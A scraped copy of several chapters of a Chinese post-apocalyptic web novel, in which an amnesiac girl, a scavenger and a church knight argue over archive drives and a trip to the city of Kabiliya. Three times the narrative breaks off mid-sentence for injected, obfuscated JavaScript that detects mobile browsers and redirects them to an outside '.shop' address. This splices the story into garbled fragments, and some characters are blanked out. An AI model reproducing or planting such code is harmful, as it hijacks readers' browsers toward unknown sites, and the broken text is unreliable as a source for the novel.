胡筱秋叹了口气,问周向青:“所以,你又跟上这个废物,想干什么?” 周向青也不知道自己想干什么。事情发生的如此突然,她只是被推在后面跑罢了。但如果可以的话,她想弄清楚那个自己帽子原来主人的事情。她想知道为什么要让她能够通过验证。她想知道自己为什么什么都不记得。她想知道自己到底有什么功能。她想知道自己从前到底经历过什么。 她想知道自己是谁。 她就这么跟胡筱秋说了。 胡筱秋又长长叹了一口气。“如果没发生那些事,我倒是可以给你引荐一下杜老板。但现在么……现在我觉得还是先给你换身衣服,至少让你看起来不那么扎眼。”她说到这里,扳过周向青的肩膀,打量着她:“看这可怜孩子,脏兮兮的。哟,裤子还破了一个洞。” 周向青看了看自己的腿,不好意思地笑了。她突然发现,自己腿上的凹陷已经消失了。她不由得伸手去摸。软软的,很光滑。 胡筱秋打开了周向青的手,说:“不准抠,越抠窟窿越大。”随后又对姜原喊道:“喂,废物!我带这孩子出去啦!” 姜原挥了挥手。 周向青被胡筱秋推着直走向门口。但她想起胖球到现在还没有好好吃喝,便挣开胡小姐的手,跑到姜原身边,从怀里掏出胖球,让它站在姜原附近的架子上。 “帮我喂它点水和食物,我的包里都有。”然后她又像往常一样捋了捋八哥的羽毛,说:“胖球乖哦,要听话。” 八哥像是答应一样,短促地叫了一声。姜原觉得有趣,伸手也想摸,却被胖球狠狠啄了一下。 周向青笑道:“你还是别招惹他啦。还有,我那个电路板……” “你去吧。我有时间就看看。”姜原答应。 胡筱秋像上次一样,斜倚在门外等她。她们沿另一侧的小巷,七拐八弯绕到街上。周向青注意到路口的灯柱上架着一个摄像头,猛地停下脚步。胡筱秋注意到她的神色,笑道:“怎么,怕被摄像头拍到?” “是。你刚才不是说……” 胡筱秋乐了。“没关系。又不是每个摄像头都能人脸识别,杜老板还不舍得把那么多的芯片都用在自己身上。这只是个监控而已。如果说人脸识别的话,那边有一个可以,在一家出售微处理器的店门口。” 周向青有点诧异,开口想问,胡筱秋却又挽起她的手臂,架着她向前直走。“你要是想问我为什么知道得这么清 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088298|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楚,我可以告诉你,因为这都是我安排的。好啦,不要管这些。路那边有一家百货商店,可能是这附近唯一一家卖服装的地方。本来应该给你打扮一下的,但现在情况特殊。等我得了闲,就再带你到东三段上,好好给你挑两身。” “不用了,我们大概很快就走。”周向青不太好意思说自己没有钱。 “走?去哪里?”胡筱秋停下了。 周向青不知道。 “你跟着那个废物瞎跑,成什么样子。唉,那家伙,到现在还没死真的算他命大。”胡筱秋叹了口气,又继续迈动步子。 周向青笑着跟在后面。 “你笑什么?” “没什么。”周向青是笑,胡小姐今天火急火燎地,跟上次见面有所不同,但又丝毫不觉得意外。她很喜欢胡小姐。跟她在一起的时候要轻松得多。 但胡小姐并不知道周向青心里在想什么。她眨了眨眼,问道:“对了,他有没有跟你说他那什么狗屁美学?” “没有。那是什么?”周向青问。 胡筱秋犹豫了一下,但还是解释道:“学院的那帮老家伙——他总跟你说了学院吧?会安排那里的学生——与其说是学生,倒不如叫学徒——去干一些脏活。这是在学院里学习的条件。既然是脏活,就免不了要死人。不是别人死,就是你亡。所以,学院里的学徒,只要一学到自己想要的东西,就会马上选择 ‘毕业’,离开那个鬼地方。而那个废物总觉得,他有一些可以‘不死人就完成任务的办法’。他管那叫什么,什么美学来着?嗨,忘记了。反正他以前老把那个挂在嘴上,真是蠢得可以。” 周向青有些惊讶于这个故事。听胡小姐的描述,学院跟她之前住的废坑也差不多。废坑边上的人也同样会陆陆续续消失。无论区别有多大,终究不过是另一种形式的生活罢了。 不过,她很快又笑了出来。 “你又笑什么?” 胡筱秋奇怪地问。 “我笑你还是有点担心他的。” “完全没有。那种废物只会早晚把自己害死,然后把别人也害死。”胡筱秋连翻了几个白眼。 “但是……既然学院那么危险,你们为什么还要……” “还要去那里学习?”胡筱秋叹了口气。“首先当然是因为,学院是你在这片土地上能找到的最好的信息中心。它不收任何费用,理论上也对所有人开放,不管你是男的女的老的小的聪明的愚蠢的犯罪的残废的,只要能通过‘入学测试’,就照收不误。但代价就是——那地方真的有种……难以描述的感觉。”胡筱秋露出复杂的表情,然后打了个寒颤。“不说这种让人扫兴的话题,我们买衣服去!” 百货商店内的女装并不算多。大概这里的老板也没打算正经做服装生意,但毕竟这是个很长的环形城市,而客人难免因为各种原因突然需要一件衣服,所以就随便设了几个女装柜台而已。 周向青有点好奇如果自己换成胡小姐那种打扮会怎么样,但直觉告诉她,她驾驭不了。胡筱秋也并不跟周向青客气——她本来也不是客气的人——就自作主张地挑选各种衣服在周向青身上比划。 周向青完美承担着一个衣服架子的职责。 最终胡小姐挑了上身青白打底加红色条块点缀,下身有些偏街头风格但方便运动的搭配。周向青只觉得这身衣服给她的感觉难以用语言形容,大概就是一种颇有胡小姐那种特立独行气质的美吧。不过倒是跟她帽子的颜色很搭。 胡筱秋却盯着周向青的帽子:“你要不要把它收起来?我怕有其它人注意到。” 周向青摇了摇头。 “好吧。那……这样!”胡筱秋从自己胸前的口袋里抽出一副墨镜,戴在周向青的帽子上。墨镜镜片刚好遮住那个青色货运飞船的标志。“这下别人就看不出来了。”胡筱秋后退几步,对自己挑选的搭配颇为得意。 此时,她们后面路过了几个正聊得热火朝天的客人,只言片语飘进了她们的耳朵。 “你听说了吗……杜老板这回在两个无名小辈手里吃了个瘪……云老四放出话来,如果谁知道消息……” 周向青和胡筱秋对视了一眼,同时点了点头。 10. 启程10 周向青和胡筱秋回去的时候,姜原正在给他新弄到的一堆东西打包,而胖球在房间的角落里,叼着一片长长的塑料包装纸蹦来蹦去,不知在想什么。姜原看到周向青回来,便说:“你们回来啦。我弄了一辆二手的车子,这样想去哪里都能去了。” “你想去哪?顶多就是一门心思想把那东西送到学院老头们的手里吧。”胡筱秋挖苦道。 “说‘一门心思’,未免过了。” 胡筱秋冷笑了一声。 周向青问:“胡小姐,你真要把那些存储器拿回去吗?” “我?”胡筱秋摇了摇头。“杜老板并没要求我干这个,我又何必主动多管闲事?只有某些人,以及云景龙那种想跪舔老头子的人,才总赶着邀功讨赏。” “我并不是想……讨好老头子。”姜原反驳道。 “是,是,你不想,你清高。”胡筱秋阴阳怪气。 姜原不再理她,而是转向周向青说:“对了,刚才我看了看你那块电路板。报警器连接的发信模块,就像你之前说的,已经毁掉了,它给哪些频道发了信息已经无法查证,但我们至少知道它发送了什么。就是‘准备收货’的信息。而那个视网膜验证器的本地验证库里,除了大概是你的视网膜信息之外,还藏着两组代码,解码以后,是这么两张照片。” 姜原把打印出来的两张纸放在桌上。 一张是周向青头上的那顶帽子,另一张是八哥胖球。 “原来它也是弗莱……那个人留下来的啊。” 周向青仍然觉得“弗莱”这个名字很是陌生,宁可称其为“那个人”。 不过,胖球真的也是他留下来的吗?周向青没有那辆小房车以外的记忆。她同时更不觉得那么小的房车可以容得下两个人。难不成,她是后来才带着胖球搬到那个工段的吗?但她为什么不记得自己搬过去的事? 如果能问问工长他们就好了。但如今,大概再也不能见面了吧。 “另一方面,这更像是给我们的一个简单的提示。可能某些信息在帽子里,某些信息在鸟的身上。”姜原指了指角落里的胖球说:“图片里的它脚上有两个脚环,说明这个脚环可能就是弗莱给它戴上去的。但我一直抓不住它。” 周向青唤了一声胖球。胖球丢下那片塑料纸,拍拍翅膀,飞到周向青的手上。周向青知道胖球的脚环上写着一个编号,但她之前一直不确定那是什么意思。姜原拿来金属探测仪在脚环上面扫了扫,但仪器没有任何反应。胖球不满地叫了一声,张开翅膀,伸头去啄姜原的手指。周向青赶忙把它拉到一边。 “我还以为可能里面有芯片呢。”姜原挠头道。 “也可能脚环本身就是存储器,你知道吧,上世代搞的那个……”胡筱秋在一旁插话。 “有机硬盘?但现在谁还有能读取有机存储的设备?你这个猜测未免——但话说回来,也不是没有可能。毕竟是那位传奇猎人留下的东西。” “我只是给你们提供一个思路。而且,也不是没有读取有机存储的设备。” 姜原点头。“卡比利亚。这倒很有可能。他肯定去过那里。” “没错。” “卡比利亚是什么?”周向青问。 胡筱秋说:“我只看过一些资料,那个城市到底怎么样,我没去过,也不清楚。总之,就是一个山丘上的博物馆遗址,藏着不少上世代探索碳基计算机的遗物。而教会的疯子们在几十年前把它当作他们的圣城了。” “倒也顺路。我们要回去,多少得路过教会的地盘。惹上安提赛之后,我可不想走另一边。”姜原说。 “你看,我就说你是一门心思,想把那东西送到老头们的手里吧。”趁姜原还没来得及反驳,胡筱秋又抢白道:“既然知道她用不着跟着你徒劳的乱跑,我就放心那么一丁点了。你可别拖累了人家。” “这话倒是没错。”姜原苦笑道。 “那我就先走啦,还有点事。拜拜,小妹子。如果你们下午不打算走,我就带你去街上逛逛,买两套衣服。” ### “——然后我就直接来看您了。”胡筱秋以这句话作结。 她望着病榻上的老人,希望能得到一个干脆的回应,甚至是命令。但老人却兀自望着窗外,犹在咀嚼刚才听到的消息。 于是胡筱秋又说:“如果您想让我……” “啊?不必。现在的情况跟三年前不一样啦。既然一开始没有拿到,那就索性随他们去吧。让‘公司’和‘教会’不要老盯着我们这边也好。只是你认识的那个小伙子这次把‘学院’牵扯进来,不知是好是坏。但我琢磨,好歹学院应该也并不想让局面失去平衡吧。他们虽然很有分量,但对外面的控制力并不强。另外,既然‘徐福’——”老人咳嗽了几声,续道:“或者说,‘弗莱’,仍然没有露面,那事情还可能有变化。只可惜不知道他在其它派系那里用的是什么名字,不然也好查一点。情况变复杂了,各方按理说应该会更慎重,但也不排除有人会变得更加投机。我们还是需要更多的信息。” 胡筱秋恭敬地听完了老人的话。 但她对老人口中的政治并不太感兴趣。 但她也知道,目前环运城的独立取决于这片土地上最大的两股势力,MICCA和三合教会之间的平衡。 MICCA的全称是Military-Industrialplex of Controlled Automation,“可控自动化军工复合体”。大家通常因谐音而戏称它“米卡”,或更简单的“公司”——因为MICCA最早就是各行业大公司的联合体。它占据了环运城以东、以北的狭长海岸地带。 “三合教会”则是一个鼓吹人机融合的奇怪组织,迄今为止除了攻城略地之外,并没做什么太出格的事情。他们的势力范围则在环运城的西部和南部连绵的群山与丘陵之中。 米卡公司和三合教会之所以会争夺这批历史档案的存储器,是因为他们对自动化大崩溃的成因以及后果有截然相反的解释。他们都希望籍此说服中立的势力和人群加入他们,赢得他们之间不知何时才能停止的战争。 环运城恰巧夹在米卡和三合教会之间,又为双方提供芯片等资源,双方对环运城这块肥肉都虎视眈眈。环运城也有自己的防御体系,但无论如何,区区一座城市在任意一方的攻击下都坚持不了多久。可以说,环运城的生存和独立,是建立公司和三合教会之间的军事对峙上。 老人所谓的“局面平衡”,就是指此而言。 胡筱秋等老人说完,便答道:“周向青什么都不知道,她没有记忆。我不相信什么大阴谋,只觉得……” “大阴谋?谁和你说什么大阴谋了?”老人笑问。 “因为您总是一副大事要发生的样子。” “可大事就是早晚要发生啊。米卡和教会之间的战争都打了那么多年了,这区区三年的脆弱平衡不可持续,又不是什么需要隐瞒的事情。你有没有听说边界那边的消息?你跟云景龙聊过没有?” “我才不管他那些事情。”胡筱秋脸一黑。 “你别对他有那么大敌意。他是个很有用的人。” “但他连那点小事都做不好,而且还不听您的命令……” “人难免会失误,也难免有脾气的嘛。他自尊受了伤,手下也死了两个。我现在可以逼他服从,也可以逼别人服从,但我死了以后呢?到时候,组织都没办法维持了。小秋,人啊,或者组织,生存总是第一位的。活着,是这个城市能够成立的前提,也是……它以后的目标。” 老人的语声渐低,最后一句更像是在自言自语。 “反正,我的感觉就是,‘徐福’已经死了。虽然他在死前安排了一些事,但他的安排没起作用。”胡筱秋又拉回之前的话题。 “你为什么这么想?” “周向青很明显是‘徐福’安排看守保险柜,交接其内容的人。只不过,可能是遭到攻击,或者一些别的原因,她失去了记忆,保险柜或者自己掉进了巨坑,或者被扔进了巨坑,事情就这么简单。” 老人笑了。“你不是‘感觉’事情就这么简单,而是‘希望’事情就这么简单。你希望事情简单,是希望我不必这么忧虑。为此,我谢谢你。但是,人最好还是不要‘希望’。不要让希望和失望,影响自己的意志和判断。” 胡筱秋沉默了一会,问:“那我接下来该怎么办?” “他们不是想到卡比利亚去吗?最好能让他们尽快出境。公司的佣兵和教会的密探大概正紧盯着他们。那些人忍得了一时,忍不了一世,如果在这里大闹起来,我们就必须有反应,届时所有人的矛头都会对准我们,灵活处理的余地就没有了。现在摊牌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088299|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对我们是最危险的。” “知道了。老爷子,你保重身体。” 病榻上的老人嘿嘿笑了。“我大概还有几年好活呢。” 胡筱秋推门出去,却发现云景龙早已正站在房门口,手里还端着一个餐盘,大概他是卡着厨房中午送餐的时候去端来的。胡筱秋恶狠狠瞪了他一眼,云景龙只做没看到,用脊背扛开门,进去了。 胡筱秋侧耳贴在门上,只模模糊糊听见云景龙在说:“会长,……边境……两次交火……死了三个人……” 此时她的手表震了震。 胡筱秋看到上面的信息,大惊失色。 ### 胡筱秋离开之后,姜原把新买的二手小车停在巷口,然后跟周向青分几次把他这回整备的物资运到车里去。无人机、各式发射器和弹药、一箱试用型的新产品、周向青的能量棒、胖球的食水,各种大大小小的东西,都一排排砌在后备箱里。姜原还用细钢丝焊了一个鸟笼,周向青把胖球和它的饭碗都装在里面。但胖球住得很不习惯,一直在啄笼子的门,想要钻出来。 搬完东西,姜原拍拍手问:“还有什么要带的?” 周向青这时才想起,她做能量棒还需要一个冰箱。 “那容易。这里是电器街,我们去搞个车载冰箱就行。不过,跑到人来人往的街上去,不会有事吗?虽然你换了衣服,但我看到在路口有个摄像头。” “不——会,”周向青得意道,“因为那个并不能人脸识别。但有一家卖微处理器的店门口的可以。” 姜原一笑:“胡筱秋跟你这么说的?” “是啊。她说,城市的人脸识别是她负责的。” “看来逛逛街的确是对你的精神有好处。”姜原说完,考虑了一下。“嗯。好吧。反正她说,杜老板似乎并不急着把这批存储器要回去。” “什么意思?”周向青问。 “就是她知道自己在干什么的意思。”姜原简单地回答。 “你们不是一个学院的吗?怎么感觉你不太相信她?”周向青不开心了。 “我当然相信她啦。但我相信的是她的能力和意图,并不是我们的交情。”姜原像是想起什么不快的往事一样,打了个哆嗦。“学院可不是什么让人愉快的地方,同学情谊,也不是让人愉快的记忆。” “那你怎么还愿意留在那里,帮‘老头子们’做事?” 姜原笑了,但不是愉快的笑。“因为我最没出息,摆脱不了那个地方。” 在面对同一个问题时,胡筱秋也给出了类似的回答。但这个回答却不是周向青想知道的回答。她明白这种回答。在傻宝兄弟问及胖球的时候,她也就是这么回答的。这是一个逃避式的答案。 姜原像是知道她在想什么一样,说:“我们去买冰箱吧。” 当然,挑冰箱没用多长时间。因为车载冰箱的选择并不多,只有大小两种,两个颜色。周向青抱着冰箱,姜原去柜台结账。他手伸入口袋,却摸到了一张纸条。 ——你们被盯上了。来咖啡厅。 姜原不声不响,径直去付了帐,在接过冰箱时,顺手把纸条递给周向青。周向青看到上面的字,吓了一跳。 她急忙走到电器店窗前向外张望。但街对面的咖啡厅内客人不多,但在远处也看不出所以然。 “我没看到有谁刚刚出门啊,他什么时候把这个给你的?”周向青问。 “不知道。但递条子的人又不一定是跟我们见面的人。”姜原小声回答,同时两眼扫了一圈店内的顾客。但店里的几个人都在各挑各的东西,看不出有什么异状。 “感觉不像是好意。”约在咖啡厅这一点,让周向青想起云景龙跟老杨的会面。那次的结果可一点都不好。 “是吗?但他不可能是杜兴田的人,作风也不像安提赛佣兵。那么可知,盯上我们的是安提赛,而他作为安提赛的对家,自然就是——那帮家伙。只是见个面或许还是有利的。” “你说的是哪帮家伙?”虽然她顺口这么问,但不论是“哪”帮家伙,周向青都不太了解。 “当然是那帮莫名其妙的家伙。”姜原答道。 对于这个莫名其妙的答案,周向青并不满意。而姜原又审视了一番街上的行人,但仍然没能看出任何异常。 对方隐蔽得相当不错。看来,只有去见面了。 11. 启程11 咖啡店内,远离窗户的角落里,坐着一个戴兜帽的人。 他面前是三杯热气腾腾的咖啡,摆成工整的品字。 在姜原和周向青落座之后,他便撩起兜帽,是一个平头短发的男人,看上去大概三十多岁,相貌端正,表情严肃。 “感谢两位愿意前来。我叫程光颐,是统修会的当值骑士。我就直截了当地说吧:就在刚才,两位购物的时候,有人在两位的座驾上动了一点手脚。这些人是谁,以及他们的目的,想必二位心里有数。” “哦,多谢你的警告,”姜原皱眉,“但我又怎么知道,这个所谓的‘有人’真的存在,或者,就是你呢?” “我听说,昨晚在6号坑那边有一次交火,安提赛佣兵的8人小队无一幸存。从概率上说,升级措施的人是他们比较大。当然,您可以保留对我的怀疑,毕竟在这个世界上,谨慎从来不是坏事。”程光颐说。 姜原哼了一声。“三合教会的密探真是无孔不入啊。” “请叫我们统修会,谢谢。”程光颐道。 “所以你告诉我这个是什么目的?看‘公司’武的不行,想来点文的?” “这可不是什么文或者武的问题。已经没有多少时间了。虽然眼下我方和米卡都受限于停火协议,不得在环运城的范围内动用武力,但一纸协议到头来也只是一纸协议而已——我相信您自己对这点也了然于胸吧。” 姜原的脸色一沉,轻轻哼了一声。 程光颐看姜原没有反驳,便点了点头,继续说道:“既然安提赛昨天已经敢在环运城的郊外动手,加上边界冲突又越来越频繁,这三年来的稳定怕是无法维持,失衡的临界点很快就会出现……” “所以你大可直接告诉我教会的意思,而不是来这些弯弯绕。”姜原说 “等等等等等等——等等!” 周向青伸出两只手,同时挡住了姜原和程光颐的嘴。“你们在说的这些,什么公司啊,教会啊……” “是统修会,谢谢。”程光颐在周向青的手掌后面强调。 “好——是统修会。什么米卡、停火协议,还有临界点,这些到底是怎么回事?太多新名词了,我根本听不懂啊。” 姜原伸手端起桌上的咖啡吸了一口,吱吱有声。 而程光颐则露出惊讶的表情:“我明白有些人不关注政治,但连这些都不知道是不是……” “她以前都住在一个山洞里,外面的事什么都不知道。”姜原调侃道。 周向青怒目而视。 “那我尝试简单解释一下吧。”程光颐抽出一张餐巾纸,铺在桌上,然后用咖啡匙在杯里沾了一点咖啡,在正方形餐巾纸中央偏北的地方点了一个圆圈。“假设这张纸就是我们所在的大陆,而这个圈大概就是环运城所在的位置。它在自动化大崩溃之前是一个超大型的电子工业城市群,所以现在才有如此多的资源可供采集。而在这一带——” 程光颐又在餐巾纸的东侧和北侧画了一个长条状的圈子,说:“这一带以前是轻重工业和商业较为发达的区域。所以在大崩溃之后,人们都通过自己所属的公司重新组织起来,依赖剩余的机械进行手工化生产,很快形成了大大小小的聚集地。而这些‘公司’经历了一场大兼并的‘公司战争’之后,最终根据各自的专长领域,建立了一个类似于旧世界政府的联合组织。他们一厢情愿地认定,人工智能与对自动化的过度追求,是旧世界崩溃的罪魁祸首,所以把他们的组织命名为‘可控自动化军事与工业复合体’,首字母写为MICCA,简称米卡。安提赛,anti synth,就是这个复合体中的一个‘承包商’。但实际上,他们对人工智能的敌视只不过是来自公司上层狭隘的眼界和无尽的贪欲,以及底层工人对失去工作的盲目恐惧罢了。” 姜原插嘴道:“虽说我也不认同公司的理念,但你这么说未免武断。自动化大崩溃的真正原因迄今仍然不清楚,把问题推在人工智能头上固然不对,但要说大崩溃与人工智能并无关联,也不是正论。” “你说的没错。这也正是我们统修会的目的——整理大崩溃的经验,寻找人类未来的真正方向。”程光颐在餐巾纸的西侧和南侧画了一些线条,说:“而这一带就是统修会目前的领地。这里多是山区、丘陵和盆地,交通极为不便。大崩溃之后,每个地区渐渐形成了相对封闭的独立小国,各自割据,人民贫苦不堪。唯一的办法就是来到东侧,变成公司的奴隶。而初代圣座就是东逃无数人中的一人,他加入公司后,成为一个负责操作机器的工人,他的工作就是拉动操作杆,将货物从车上卸下来,装上传送带,从而获得一点点微薄的报酬。他觉得自己跟机器没有任何的差别。在公司上班的那些年,他站在机器前,无时无刻不在思考。上个时代的前人们明明经历过这一切,而如今自己真的有必要这样日夜从事机器般的工作吗?他站在阴暗的车间里拉动操纵杆,公司上层的管理者站在摩天大楼上饮酒享乐,难道这就是合理的吗?如果要让他自己,让所有和他一样的人从这种情况中解脱出来,到底应该怎样?他苦思冥想八日八夜,终于在第九天正午得到了答案。” “什么答案?”周向青听得入迷。 “人类的未来,在于拥抱机械。上时代的人们只把自动化的机器当作一种工具而滥用,于是招致了自动化大崩溃这个灾难。但就像机械手取代初代圣座的手一样,机械实际上应该成为人类的一部分。因为人类是按照自己的样子、自己的需求创造了机械,机械是人体的延伸,而不仅仅是一个更复杂的勺子。人应该容纳机械,去追求一个更为广阔的精神世界。而活化机械就是最明显不过的一个启示,这是机械们在向我们展示他们所具有的可能性。于是初代圣座离开了公司,来到西南部的山区,创建了‘人类、机械、精神三元统合研习进修会’,也就是‘统修会’。初代圣座劝说人们加入他,一同追寻人类身体、机械能力、精神世界的三元一体、完美融合,让全人类从此摆脱不平与苦难。短短十几年间,圣座的脚步走遍了西南的广阔领土,各国也纷纷举起圣三角的旗帜加入统修会,一同追求三元一体的伟大梦想。” 程光颐举起双手,在胸前比了一个三角形,然后拉开衣襟。在那件连帽的罩袍下,是一副银光闪闪的胸甲,上面蚀刻着一个螺旋状的红色三角形。“这是代表三元一体的圣三角,下段的两个角代表机械与人类的□□这两个支撑,顶上的角代表精神世界,而螺旋状代表三者至真至善至美地交融为一体,成为神圣本身。” 周向青好奇地看了看程光颐胸前的三角形。 她觉得,这个“统修会”的理想听起来有点意思,而且眼前这个中年男人也很温和诚挚。 姜原却说:“你们这个所谓的三元一体的梦想只是迷思罢了。自动化大崩溃几乎摧毁了所有人工智能的底层逻辑,仍旧有效的仿生脑所存无几,即便如此也已经无法恢复到以前的水平了。你说活化机械,但活化效应的原理又是什么?目前各方都对其缺少深层的研究。没有任何的基础,那个三元一体也不过是空谈,一场幻梦罢了。这就是为什么你们在战争中打得这么差的原因。或许公司是奴役了那些人,但起码还有一日三餐;而你们,只有空谈。” “你可以说三元一体尚未实现,但它绝非空谈。如果你愿意详细地了解一下我们的讲义就会明白。但你不愿意,你只是放不下你的傲慢。”程光颐反驳。 姜原摇了摇头。“前年三月,我就在你们的首都,石岗城。那次我正好带着一个仿生人路过。因为我那次的任务就是从一个新发现的废墟里回收它。和其它仿生人一样,它在大崩溃中坏掉了,然后一百年来都在那个废墟里徘徊。因为它的基本功能还在。我手动超驰,然后带着它回到石岗城。当时还是清晨,我就带着那个仿生人在云上区的街上闲逛,等火车到站。就是那个时候,我在云上大讲堂旁听了石岗城主讲的巡回演讲。” 姜原呷了口已经冷掉的咖啡,继续说道:“演讲的内容其实很平淡。因为那只是很普通的一个周末。他跟你一样,轻松地谈着三元一体的事情,在一个有点清冷的早晨,给大家描述能让他们温暖一点的未来。但不知道怎么回事,我旁边的仿生人突然放声大笑。他什么话都不说,只是笑。他怪异的笑声盖过了大主讲的演讲,引得所有人都回过头来看我。不,准确地说,是看着我身边的仿生人。他们目光惊恐、不发一词,所有人都像是自己变成了仿生人一样,双眼直勾勾地望着他,看得我心里发毛。我想让那仿生人不要再笑,但无论如何都关不掉他的语言模块。当时我的心里只有一个念头,必须让它停下来。我从口袋里掏出□□,对准它的脑袋。高压电烧穿了他的电路板,然后他停了下来。但所有人仍旧直勾勾地盯着他,也看着我。我只好扛着他,从那里逃掉了。” 姜原简短的故事结束,空气一下子变得紧张起来。程光颐望着姜原的眼睛,沉默许久之后,终于开口说道:“原来那件事的当事人,就是你。” “就是我。”姜原说。 程光颐说:“这件事的确产生了一些影响。倒不如说,是好的影响。在此之前,有些天真地希望,能够通过回收上时代的技术就达成三元一体的人,还有不小的影响力;但现在认同需要慎重对待的一派已经占了完全的上风。我个人来说,也不认为三元一体是那么容易达成的事情。它是人类的永恒目标,决不可能近在咫尺、触手可及。它需要几代人,甚至十几代人的努力。” 姜原点了点头,继续喝着已经冷掉的咖啡。 周向青隐隐觉得,姜原是希望通过这件事动摇程光颐,但他没有成功。与此同时,她也从姜原的故事中感觉到了某种担忧。因为她自己也有过两次失控。她还会失控吗?更严重的那种?周向青一想到这里,冰冷的感觉又渐渐从她的指尖蔓延开来。她有些恐慌。 她迫切地想要动起来,搞明白自己的状况,不管是找到弗莱也好,还是解开其中的信息也好。什么都好。 “我们在题外话上花太多时间了。我觉得,现在还是先谈正事吧。”程光颐看姜原不再说话,重新提议。 “可以,”姜原说,“那你说说看,你们有什么提议?” 程光颐说:“我想知道,两位接下来准备去哪里?如果不介意取道统修会所控制的区域的话,我方愿意为两位提供车马护送。” “这么贴心的服务,价码一定不便宜。” “圣座希望两位能够先绕路到石岗城游览观光一番。他很想了解世界政府档案中关于‘自动化大崩溃’起因方面的内容。” “那你们和公司没什么不同嘛。” 程光颐不由失笑:“从需要这份数据来说,您所代表的学院,难道就有不同吗?但我方不会像学院这样巧取,也不像安提赛那样豪夺。圣座只是希望使用这些知识为实现三元一体的终极目标助一份力罢了,并不在意这些物质外壳最终的归属。某种程度上说,我方与学院的目的并不冲突。学院可以在分享这些知识之后,再把它存在自己的大图书馆里。” 姜原还在考虑,但周向青已热切地开口说道:“但我们想先去卡比利亚。我想弄清我的身世。” 中年人一惊。“卡比利亚?” “怎么了?”周向青问。 “卡比利亚可能最近不太方便通行,它所在的行省正位于统修会和米卡的边界的突出部,平时就常有交火。而且最近米卡似乎又要挑起边衅,卡比利亚大概很快就会变成前线,遭到围攻。”程光颐道。 “那可不行!我们还想用那里的……什么读取设备呢!”周向青急道。 “我劝二位还是放弃吧,一旦局势失控,即便是圣城卡比利亚,大概也难逃玉石俱焚的命运。据我所知,那边的研究人员已经开始撤离了。而你们想用的东西,别处未必没有。” “你知道别的地方有那个……它叫什么?”周向青望向姜原。 “我们需要可以读取有机存储器,或者说,碳基存储器的设备。”姜原说。 “碳基存储?我不太清楚。但我保证会咨询相关人员,如果卡比利亚如果有这个东西,一定帮助二位拿到。怎么样,要不要和我们一起走?”程光颐的耐心显然已经不太够用了。 “姜原?我们答应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“你为什么要拒绝呢?”周向青问。 “我一会再跟你解释。” 周向青感到不快。姜原的态度很可疑。而且姜原明显不把她列为平等的、需要商量的对象。更为甚者,他完全没有考虑她的情况,就替她做了决定。 “是你自己的原因,还是什么原因?你凭什么替我做决定?” “我不是替你做决定。” “那我能自己去吗?你能把存储器还给我吗?因为那也只是你抢过去的,又没有真的给我钱。我也没有答应你什么。”周向青怒道。她此时想起了姜原总说的那句“报价仍然有效”。就把它作为攻击的武器。 姜原露出诧异的表情。他迟疑了一下,但还是从大衣内侧的口袋里抽出那个青黑色的盒子,像是要躲过程光颐的视线一样,从桌下递给周向青。 程光颐则坐在桌子的另一边,并没有说话。 周向青倒没想到姜原会这么干脆。她本以为姜原会拒绝的。她接过盒子,却没有地方放,只好双手拿着放在腿上,然后对程光颐说:“我和你去,但你必须先带我去卡比利亚,今天就走。” 程光颐闻言起身,从口袋里摸出一枚红色三角形的胸章,诚恳地双手递给周向青。“这个是我们骑士团的徽章,你戴到胸前显眼的地方。它后面有个按钮,可以向附近的统修会人员发送求救信号,同时这也是表明你处于骑士团保护下的标记。” 周向青接过徽章,戴在胸前,然后转向姜原说:“我的胖球和行李,也得还给我。” 姜原点了点头。 三人一道走出咖啡厅,向巷口的停车处走去。姜原拎着刚买的冰箱走在前面,程光颐重新戴上兜帽远远地跟在最后,装出并不认识的样子,而周向青走在离姜原几步远的中间。 事情的发展有点出乎她的意料。 姜原有自己的意图,这一点绝对没有错。但姜原的反应又让她觉得,事情不是那么简单。 难不成真的有什么隐情?程光颐虽然看上去是一个言而有信的人,而且也能代表一方势力。但卡比利亚或许并没有他说的那么岌岌可危,他只是危言耸听,想骗自己答应而已。而且即便到了卡比利亚,她也不知道应该做些什么。 想到这里,周向青心里又不太有底气了。她觉得自己应该再试着劝说姜原一下,多一个认识的人就多一份商量。 姜原走到车边,把冰箱放在地上。他检查了车门和后备箱,没有发现动过手脚的痕迹。 “估计是在车底。这下非得用千斤顶不可了。”他一边说,一边转向身后的大楼,扫视了一遍那些窗户。那些窗户黑洞洞的,没有任何动静。 姜原慢慢拉开了车门。胖球看到有人来了,大吵大闹起来。它在车里呆久了,闷得慌。姜原把八哥笼子递给周向青,但她并没有接。 “你真的不去卡比利亚吗?”周向青问。 “哦,你说这个。我倒不是说一定不去,只是有一些理由。”姜原说到此处,看了一眼程光颐。 程光颐并没有靠近,他站在二十米外的巷口,背靠墙壁,像老僧站桩一样眼观鼻,鼻观心。这是教会骑士们自己独特的警戒方式。 “什么理由?”周向青问。 “是我私人的理由。” “那你还愿意把那文档还给我?” 